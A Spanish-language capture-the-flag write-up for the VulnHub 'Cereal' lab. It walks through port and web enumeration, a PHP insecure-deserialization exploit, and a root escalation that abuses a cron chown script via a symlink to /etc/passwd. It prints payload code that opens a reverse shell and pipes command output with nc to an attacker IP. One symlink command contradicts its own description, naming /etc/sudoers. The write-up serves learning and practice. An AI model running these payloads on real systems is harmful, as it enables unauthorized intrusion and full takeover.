Entrada

VulnHub - Cereal | (Difficulty Medium) - Linux

Writeup de la máquina de dificultad media Cereal de la página https://vulnhub.com

VulnHub - Cereal | (Difficulty Medium) - Linux

Useful Skills

  • FTP Enumeration
  • SMB Enumeration
  • Web Enumeration
  • Subdomain Enumeration
  • Information Lekeage (index.php.bak)
  • PHP Code Analysis
  • Abusing PHP Insecure Deserialization - RCE
  • Cron Job Enumeration (pspy)
  • Abusing Cron Job /usr/share/scripts/chown.sh (symlink passwd)

Enumeration

TCP Scan

1
2
rustscan -a 192.168.2.140 --ulimit 5000 -g
192.168.2.140 -> [21,22,80,139,445,3306,11111,22223,22222,33333,33334,44441,44444,55551,55555]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
nmap -p21,80,139,445,3306,22,11111,22222,22223,33333,33334,44441,44444,55551,55555 -sCV 192.168.2.140 -oN tcpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 15:03 CET
Nmap scan report for 192.168.2.140
Host is up (0.00029s latency).

PORT      STATE SERVICE         VERSION
21/tcp    open  ftp             vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0               6 Apr 12  2021 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.2.133
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 00:24:2b:ae:41:ba:ac:52:d1:5d:4f:ad:00:ce:39:67 (RSA)
|   256 1a:e3:c7:37:52:2e:dc:dd:62:61:03:27:55:1a:86:6f (ECDSA)
|_  256 24:fd:e7:80:89:c5:57:fd:f3:e5:c9:2f:01:e1:6b:30 (ED25519)
80/tcp    open  http            Apache httpd 2.4.37 (())
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
139/tcp   open  netbios-ssn?
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '192.168.2.133' is not allowed to connect to this MariaDB server
11111/tcp open  vce?
22222/tcp open  easyengine?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
22223/tcp open  unknown
33333/tcp open  dgi-serv?
33334/tcp open  speedtrace?
44441/tcp open  http            Apache httpd 2.4.37 (())
|_http-server-header: Apache/2.4.37 ()
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
44444/tcp open  cognex-dataman?
55551/tcp open  unknown
55555/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=2/4%Time=67A21E42%P=x86_64-pc-linux-gnu%r(
SF:NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.2\.133'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
MAC Address: 00:0C:29:60:7E:8D (VMware)
Service Info: OS: Unix

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.58 seconds

UDP Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sU --top-ports 1500 --min-rate 5000 -n -Pn 192.168.2.140 -oN udpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 15:10 CET
Nmap scan report for 192.168.2.140
Host is up (0.00024s latency).
Not shown: 1494 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
17533/udp closed unknown
26420/udp closed unknown
28664/udp closed unknown
29981/udp closed unknown
40915/udp closed unknown
55043/udp closed unknown
MAC Address: 00:0C:29:60:7E:8D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

FTP Enumeration

La versión de FTP es vsftpd 3.0.3, busco posibles vulnerabilidades o exploits pero no encuentro nada interesante, por otro lado nmap ha reportado anonymous login, me logueo como usuario anonymous

1
2
3
4
5
6
7
8
9
10
ftp 192.168.2.140
Connected to 192.168.2.140.
220 (vsFTPd 3.0.3)
Name (192.168.2.140:ju4ncaa): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Listo los directorios compartidos, observo uno llamado pub, accedo al mismo pero no hay ningún contenido.

1
2
3
4
5
ftp> dir
229 Entering Extended Passive Mode (|||19632|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0               6 Apr 12  2021 pub
226 Directory send OK.
1
2
3
4
5
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||49162|)
150 Here comes the directory listing.
226 Directory send OK.

Intento subir un archivo al directorio pub, por ejemplo el escaneo TCP realizado con nmap, pero no se me permite, por lo que de momento el vector de ataque por FTP concluye

1
2
3
4
ftp> put ../scan/tcpScan 
local: ../scan/tcpScan remote: ../scan/tcpScan
229 Entering Extended Passive Mode (|||53429|)
550 Permission denied.

SMB Enumeration

El puerto 445 SMB se encuentra abierto, intento listar con un null session recursos compartidos a nivel de red, tanto con smbclient como con smbmap pero no se me permite, por lo que de momento el vector de ataque por SMB concluye

1
2
smbclient -L 192.168.2.140 -N
Protocol negotiation (with timeout 20000 ms) timed out against server 192.168.2.140
1
2
smbmap -H 192.168.2.140 -u 'null'
[!] Authentication error on 192.168.2.140

HTTP Enumeration

En el puerto 80/TCP Whatweb no reporta nada interesante

1
2
whatweb http://192.168.2.140/
http://192.168.2.140/ [403 Forbidden] Apache[2.4.37], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.2.140], PoweredBy[:], Title[Apache HTTP Server Test Page powered by: Rocky Linux]

Accediendo al servicio web en http://192.168.2.140 puedo observar la página por defecto de Apache

imagen

Utilizo gobuster para realizar una enumeración exhaustiva de directorios

1
2
3
4
5
6
7
8
gobuster dir -u http://192.168.2.140/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100 -q
/.htpasswd            (Status: 403) [Size: 199]
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/admin                (Status: 301) [Size: 235] [--> http://192.168.2.140/admin/]
/blog                 (Status: 301) [Size: 234] [--> http://192.168.2.140/blog/]
/cgi-bin/             (Status: 403) [Size: 199]
/phpinfo.php          (Status: 200) [Size: 76260]

En el escaneo obtengo directorios y archivos interesantes, phpinfo.php, /blog y /admin son los recursos en los que pongo el foco, accedo a phpinfo.php y veo que se trata del archivo que permite mostrar información detallada sobre la configuración PHP en un servidor.

imagen

Accedo a http://192.168.2.140/blog y veo que se trata de un Wordpress, el cual no se termina de ver bien ya que todos los recursos apuntan a cereal.ctf

imagen

imagen

Hay que añadir el dominio cereal.ctf en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 192.168.2.140

Recargo de nuevo y observo una página Wordpress con una configuración bastante por defecto, tambien consigo ver la versión del mismo, se trata de un Wordpress 6.7.1

imagen

1
2
whatweb http://192.168.2.140/blog/
http://192.168.2.140/blog/ [200 OK] Apache[2.4.37], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.2.140], MetaGenerator[WordPress 6.7.1], PHP[7.2.24], PoweredBy[--], Script, Title[Cereal], UncommonHeaders[link], WordPress[6.7.1], X-Powered-By[PHP/7.2.24]

Accedo a http://cereal.ctf/admin y observo un panel de login, en el cual trato de realizar diferentes inyecciones SQL pero no obtengo resultado, también podría tratar de realizar fuerza bruta contra el panel de autenticación, pero de momento esa opción la descarto.

imagen

En el puerto 44441/tcp Whatweb no reporta nada interesante

1
2
whatweb http://192.168.2.140:44441/
http://192.168.2.140:44441/ [200 OK] Apache[2.4.37], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.37 ()], IP[192.168.2.140]

Accedo a http://cereal.ctf:44441 y veo un texto que dice Coming soon…

imagen

Utilizo wfuzz para realizar enumeracion de subdominios, consiguiendo encontrar el subdominio secure.cereal.ctf

1
2
3
4
5
wfuzz -c --hw=2 --hc=404,403 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cereal.ctf:44441 -H "Host: FUZZ.cereal.ctf"
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================
000000036:   200        49 L     140 W      1538 Ch     "secure"

Hay que añadir el dominio secure.cereal.ctf en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 192.168.2.140

Accedo a http://secure.cereal.ctf y observo una página Ping Test, supongo que como el lenguaje de programación utilizado es PHP, a través de alguna función como system(), shell_exec(), passthru() se estará ejecutando el comando ping

imagen

Me pongo en escucha de trazas ICMP con tcpdump

1
2
tcpdump -i ens33 -nv icmp
tcpdump: listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Envío un ping hacia mi direccion IP 192.168.2.133, puediendo observar que recibo los paquetes ICMP, lo cual me hace validar al 100% que se está ejecutando el comando ping. Puede que el código PHP esté realizando algo como system("/usr/bin/ping -c 3" . $_POST['ip_address']); por lo que pruebo a realizar diferentes inyecciones de comandos, pero no consigo nada

imagen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tcpdump -i ens33 -nv icmp
tcpdump: listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
16:39:24.421616 IP (tos 0x0, ttl 64, id 9471, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.2.140 > 192.168.2.133: ICMP echo request, id 2450, seq 1, length 64
16:39:24.421629 IP (tos 0x0, ttl 64, id 9768, offset 0, flags [none], proto ICMP (1), length 84)
    192.168.2.133 > 192.168.2.140: ICMP echo reply, id 2450, seq 1, length 64
16:39:25.472317 IP (tos 0x0, ttl 64, id 9851, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.2.140 > 192.168.2.133: ICMP echo request, id 2450, seq 2, length 64
16:39:25.472340 IP (tos 0x0, ttl 64, id 9952, offset 0, flags [none], proto ICMP (1), length 84)
    192.168.2.133 > 192.168.2.140: ICMP echo reply, id 2450, seq 2, length 64
16:39:26.496203 IP (tos 0x0, ttl 64, id 10360, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.2.140 > 192.168.2.133: ICMP echo request, id 2450, seq 3, length 64
16:39:26.496226 IP (tos 0x0, ttl 64, id 10249, offset 0, flags [none], proto ICMP (1), length 84)
    192.168.2.133 > 192.168.2.140: ICMP echo reply, id 2450, seq 3, length 64

Visualizo el codigo fuente y observo que se está cargando un archivo php.js

imagen

En el archivo php.js veo que se esta utilizando la función serialize, por lo que ya se me viene a la cabeza un posible ataque de deserialización

imagen

Intercepto la petición ping con BurpSuite, puedo observar que la data se está enviando serializada a través de un objeto PHP llamado pingTest

imagen

Ya que he podido observar que se esta enviando un objeto serializado, voy a realizar enumeración de directorios ya que por detrás se debe de estar aplicando un proceso de deserialización para que el servidor interprete la información

1
2
3
4
5
gobuster dir -u http://secure.cereal.ctf:44441 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -q
/php                  (Status: 200) [Size: 3699]
/style                (Status: 200) [Size: 3118]
/index                (Status: 200) [Size: 1538]
/back_en              (Status: 301) [Size: 247] [--> http://secure.cereal.ctf:44441/back_en/]

Encuentro un directorio /php y /back_en, buscare archivos con extensión php y php.bak en ambos, consigo obtener un index.php.bak en el directorio /back_en/

1
2
gobuster dir -u http://secure.cereal.ctf:44441/back_en/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -x php,php.bak -q
/index.php.bak        (Status: 200) [Size: 1814]

Accedo a http://secure.cereal.ctf:44441/back_en/index.php.bak donde consigo observar una página backup de la principal donde se encuentra el Ping Test

imagen

Inspecciono el código fuente y me doy cuenta que soy capaz de ver código PHP, donde se está empleando la función unserialize() de parte del servidor

imagen

Vulnerability analysis

PHP Deserialization Attack

Ya que tengo acceso al codigo PHP lo analizaré brevemente para entender correctamente que esta pasando, lo primero que hay es una clase llamada pingTest la cual también podia observar en BurpSuite, la clase contiene los siguientes valores

  • ipAddress: Tiene como valor 127.0.0.1, lo que es igual a localhost, por eso cada que se recarga se realiza un ping hacia si mismo en la página web
  • isValid: Tiene como valor False y se emplea para validar si se introduce una dirección IP válida
  • output: Supongo que es donde se incluye el output del comando realizado a nivel de sistema

Dentro de la clase existe una función validate(), la cual comprueba si la dirección IP es válida con this->isValid

Si la dirección IP es válida se pasa a la función ping la cual utiliza shell_exec para ejecutar 3 pings hacia la dirección indicada

imagen

Lo importante reside en esta parte del código donde se está validando si a través de POST existe el parámetro obj, si es así, $pingTest que es el input del usuario se deserializa y se urldecodea sin nigun tipo de validación en el input del usuario.

imagen

Exploitation

Abusing PHP Insecure Deserialization Attack

Puedo utilizar la clase pingTest del código PHP para realizar el proceso inverso, serializar un objeto malicioso de mi parte y enviarlo al servidor y así comprobar si se ejecuta, lo unico que hago es escapar con ; la ip 127.0.0.1 indicada por defecto en el index.php del servidor y tornar el valor isValid a True para que tome el input como una IP válida. Comenzaré ejecutando el comando whoami y enviandolo por netcat a mi dirección ip por el puerto 4444

1
2
3
4
5
6
7
8
9
<?php 
class pingTest {
	public $ipAddress = ";bash -c '/usr/bin/whoami | nc 192.168.2.133 4444'";
	public $isValid = True;
	public $output = "";
}

echo urlencode(serialize(new pingTest));
?>
1
2
php pwned.php;echo
O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A50%3A%22%3Bbash+-c+%27%2Fusr%2Fbin%2Fwhoami+%7C+nc+192.168.2.133+4444%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7D

Inicio un listener con netcat por el puerto 4444 para recibir la conexión

1
2
nc -lvnp 4444
listening on [any] 4444 ...

En la petición de ping interceptada con BurpSuite remplazo obj con mi objeto serializado y le doy a Send

imagen

Recibo el comando ejecutado /usr/bin/whoami, viendo que ganaré acceso al sistema como el usuario apache

1
2
3
4
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.133] from (UNKNOWN) [192.168.2.140] 50824
apache

Modifico el código PHP malicioso en vez ejecutar whoami introduzco una reverse shell hacia mi dirección IP de atacante, de resto ejecuto y serializo de nuevo el objeto malicioso

1
2
3
4
5
6
7
8
9
<?php 
class pingTest {
	public $ipAddress = ";bash -c 'bash -i >& /dev/tcp/192.168.2.133/4444 0>&1'";
	public $isValid = True;
	public $output = "";
}

echo urlencode(serialize(new pingTest));
?>
1
2
php pwned.php;echo
O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A54%3A%22%3Bbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.2.133%2F4444+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7D

Inicio un listener con netcat por el puerto 4444 para recibir la reverse shell

1
2
nc -lvnp 4444
listening on [any] 4444 ...

En la petición de BurpSuite remplazo obj con mi objeto serializado que contiene la reverse shell y le doy a Send, consiguiendo así ganar acceso al sistema como el usuario apache

imagen

1
2
3
4
5
6
7
8
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.133] from (UNKNOWN) [192.168.2.140] 50826
bash: cannot set terminal process group (1004): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ whoami
whoami
apache

Post exploitation

Privilege escalation

Obtengo acceso al sistema como el usuario apache, este es un usuario con bajo privilegios por lo que debo de buscar alguna manera de pivotar hacia otro usuario. Comenzaré visualizando cuales son los usuarios que existen en el sistema.

1
2
3
bash-4.4$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
rocky:x:1000:1000::/home/rocky:/bin/bash

En /var/www/html/blog dentro del archivo wp-config.php observo una credenciales de acceso la base de datos, son válidas y consigo la contraseña hasheada del usuario de wordpress cereal, pero no es posible crackearla.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bash-4.4$ cat wp-config.php 
<?php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'newuser' );

/** MySQL database username */
define( 'DB_USER', 'newuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'VerySecureRandomPassword!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

Utilizo pspy para monitorerar procesos que se estén ejecutando en el sistema sin necesidad de ser usuario root

1
2
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
bash-4.4$ wget http://192.168.2.133/pspy
--2025-02-04 17:35:10--  http://192.168.2.133/pspy
Connecting to 192.168.2.133:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy'
1
bash-4.4$ chmod +x pspy

Con pspy observo que el usuario root ejecuta una tarea, la cual es /usr/share/scripts/chown.sh, algo que es bastante sospechoso

1
2025/02/04 17:40:02 CMD: UID=0     PID=23382  | /bin/bash /usr/share/scripts/chown.sh

Visualizo el script chown.sh y observo que se está asignando con chown propietario rocky y grupo apache a todos los archivo de la carpeta public_html alojada en /home/rocky

1
2
bash-4.4$ cat /usr/share/scripts/chown.sh 
chown rocky:apache /home/rocky/public_html/*

Puedo crear un enlace simbólico que apunte a /etc/passwd, esto provocará que cuando root ejecute la tarea chown.sh se asigne propietario rocky y grupo apache al archivo passwd

1
ln -s /etc/sudoers sudoers

Tras esperar un rato se ejecuta el script chown.sh y se otorga propietario rocky y grupo apache al fichero de configuración passwd, donde apache que es el grupo y lo que me interesa tiene permisos de escritura

1
2
bash-4.4$ ls -l /etc/passwd
-rwxrwxr-x. 1 rocky apache 1549 May 29  2021 /etc/passwd

Utilizo openssl para generar un contraseña, la cual será 1234

1
2
3
4
bash-4.4$ openssl passwd 
Password: 
Verifying - Password: 
mHzPV7z40vgRk

Reemplazo la contraseña en el archivo /etc/passwd y migro al usuario root con la contraseña 1234, pudiendo así escalar mis privilegios en el sistema

imagen

1
2
3
4
bash-4.4$ su root
Password: 
[root@cereal public_html]# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.